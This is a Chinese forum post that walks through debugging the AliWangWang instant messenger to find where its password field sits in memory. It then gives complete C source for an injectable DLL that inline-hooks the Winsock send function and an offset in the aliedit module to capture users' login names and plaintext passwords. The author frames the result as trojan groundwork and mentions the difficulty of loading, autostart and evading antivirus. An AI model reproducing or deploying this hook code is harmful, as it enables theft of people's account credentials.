Author:mzydcg
XXX:http://hi.baidu.com/resoft007
QQ:11215160
这两天闲来无事,学校没啥事情,学习任务也不是很重,就剩下写论文了,分析了一下阿里旺旺,阿里旺旺的保护机制没有想象中的强大。
1.打开阿里旺旺,通过SetWindowsHook和GetKeyData的方式都不能获得阿里旺旺的密码;
2.通过Xuetr工具查看,AliIM.exe并没有异常的应用层钩子和底层驱动;
3.直接OD附加旺旺进行调试;
4.给发送函数下断点(Send、Sendto、WSASend、WSASendto等函数)旺旺用的是Send函数发送;
5.下硬件断点直接F9运行,断下来后发现函数调用栈中始终是在Alinet模块中(估计这个模块是旺旺专门用来进行网络数据处理的模块),并且发现栈中参数的数据都是加密处理的
6.重新运行,输入密码“Test123456”,在内存中搜索,发现
7.踏破铁血无觅处,得来全不费工夫,内存中公有两处,很明显第二处是密码的内存位置,直接上内存访问断点。
8.再次运行发现以下位置
053BB87F 68 50454205pus aliedit.05424550 ; ASCII "0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM`[]\;',./~!@#$%^&*()_+-={}|:""<>?"
053BB884 46 inc esi
053BB885 E8 E6870400 call aliedit.05404070
053BB88A 59 pop ecx
053BB88B 3BF0 cmp esi, eax
053BB88D ^ 72 E2 jb short aliedit.053BB871
053BB88F EB 36 jmp short aliedit.053BB8C7
053BB891 0FB686 58404505 movzx eax, byte ptr [esi+5454058]
053BB898 50 push eax //断点在此处
9.上面并没有在寄存器或者栈中出现密码的明确地址(其实强制hook读取上一句汇编代码的内存地址,从而取出密码的内存地址也是可以的,为了方便写代码,继续找明确的地址)
10.依次往下层进行跟踪分析,找到如下位置
0527B6EE 83C7 04 add edi, 4
0527B6F1 57 push edi
0527B6F2 FFB6 08010000 push dword ptr [esi+108]
0527B6F8 E8 0F590300 call aliedit.052B100C //edi中存的是密码
Aliedit模块,内存基址是0x05270000 ,偏移是B6F8
11.然后我们就可以写程序获取了(程序写的很乱,大家凑合看吧)。
#include <windows.h>
#include <winsock.h>
DWORD gOffset = 0xB6F8;// 模块偏移
DWORD gPassFunAddr = 0; //被hook的地址
DWORD gSendNextAddr = 0;//跳到原来的地址执行
BYTE bHooked1[5] = {0};//保存替换掉内容
BYTE bHooked2[5] = {0};//保存替换掉内容
typedef int (WINAPI *MySend)( SOCKET s,
const char FAR * buf,
int len,
int flags);
void dbgprint(const char *format, ...)
{
DWORD pid = 0;
va_list vl;
char dbgbuf1[2048] = {0};
char dbgbuf2[2048] = {0};
pid = GetCurrentThreadId();
va_start(vl, format);
wvsprintfA(dbgbuf1, format, vl);
wsprintfA(dbgbuf2, "%lu: %s\r\n", pid, dbgbuf1);
va_end(vl);
OutputDebugStringA(dbgbuf2);
}
void HookJmpFun( DWORD dwHookedAddr,VOID* pHookFun,BYTE keyCode[5] )
{
BYTE data[5];
DWORD oldpro=0,newpro=0;
data[0] = 0xE9;
DWORD dwJmpCode = (DWORD)pHookFun - dwHookedAddr -5;
memcpy(&data[1],&dwJmpCode,4);
VirtualProtect((void*)dwHookedAddr,6,PAGE_EXECUTE_READWRITE,&oldpro);
memcpy((void*)dwHookedAddr,&data[0],5);
VirtualProtect((void*)dwHookedAddr,6,oldpro,&newpro);
}
void UnHookJmpFun( DWORD dwHookedAddr,VOID* oldAddr)
{
DWORD oldpro=0,newpro=0;
VirtualProtect((void*)dwHookedAddr,6,PAGE_EXECUTE_READWRITE,&oldpro);
memcpy((void*)dwHookedAddr,oldAddr,5);
VirtualProtect((void*)dwHookedAddr,6,oldpro,&newpro);
}
void DbgPassWd(char *szPassWd)
{
dbgprint("The PassWd is %s",szPassWd);
//UnHook
UnHookJmpFun(gPassFunAddr,(LPVOID)bHooked1);
//memcpy((LPVOID)gPassFunAddr,bHooked1,5);
}
void DbgUserName(char *szUserName)
{
//
//GET /imlogingw/tcp60login?ver=7.00.07C&loginId=cntaobaomzydcg HTTP/1.1
//
char szTemp[100] = {0};
memcpy(szTemp,szUserName,100);
szTemp[99] = 0;
char *szTemp1;
char *szTemp2;
szTemp1 = strstr(szTemp,"cntaobao");
szTemp1 = szTemp1 + 8;
szTemp2 = strchr(szTemp1,' ');
char szUser[50] = {0};
memset(szUser,0,50);
memcpy(szUser,szTemp1,szTemp2 - szTemp1);
dbgprint("The User is :%s",szUser);
//UnHook
UnHookJmpFun( gSendNextAddr-5,(LPVOID)bHooked2);
}
__declspec(naked) void MyGetPass()
{
_asm{
push edi
call DbgPassWd
add esp,0x4
jmp gPassFunAddr
}
}
__declspec(naked) void NakedSend()
{
_asm{
pushad
pushfd
push ecx
call DbgUserName
add esp,0x04
popfd
popad
mov edi, edi
push ebp
mov ebp, esp
push gSendNextAddr
ret
}
}
void HookPassFun()
{
TCHAR szAliedit[] = {'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'a', 'l', 'i', 'e', 'd', 'i', 't', '\\', 'a', 'l', 'i', 'e', 'd', 'i', 't', '.', 'd', 'l', 'l', 0x00};
HMODULE hMod = GetModuleHandleA(szAliedit);
if (NULL == hMod)
{
dbgprint("GetModuleHandleA Aliedit Wrong!");
return ;
}
//Hook之前先保存一下Hook地址的内容
gPassFunAddr = (DWORD)hMod + gOffset;
memcpy(bHooked1,(LPVOID)gPassFunAddr,5);
HookJmpFun(gPassFunAddr,(PVOID)MyGetPass,NULL);
}
void HookSendFun()
{
char szWS2_32[] = {'w', 's', '2', '_', '3', '2', 0x00};
HMODULE hMod = GetModuleHandleA(szWS2_32);
if (NULL == hMod)
{
dbgprint("GetModuleHandle WS2_32 Wrong");
return ;
}
//
// 勾住Send
//
char szSendName[] = {'s', 'e', 'n', 'd', 0x00};
MySend MySendFun = NULL;
MySendFun = (MySend)GetProcAddress(hMod,szSendName);
if (NULL == MySendFun)
{
return;
}
gSendNextAddr = (DWORD)MySendFun + 5;
memcpy(bHooked2,(LPVOID)MySendFun,5);
HookJmpFun((DWORD)MySendFun,(PVOID)NakedSend,NULL);
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//dbgprint("Begin Hook");
HookSendFun();
HookPassFun();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
//dbgprint("End Hook");
break;
}
return TRUE;
}
应该是Aliedit模块
12.打开OD和旺旺,Attach上,通过Strong OD(好东西)的Inject Dll功能,注入到旺旺进程中去。输入用户名密码得到如下:
13.具体的各种Dll注入方式,大家各有各的方法,个人感觉木马最难的就是加载和自启动(3xx等杀软,干稍微敏感一点的事,他就报)。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)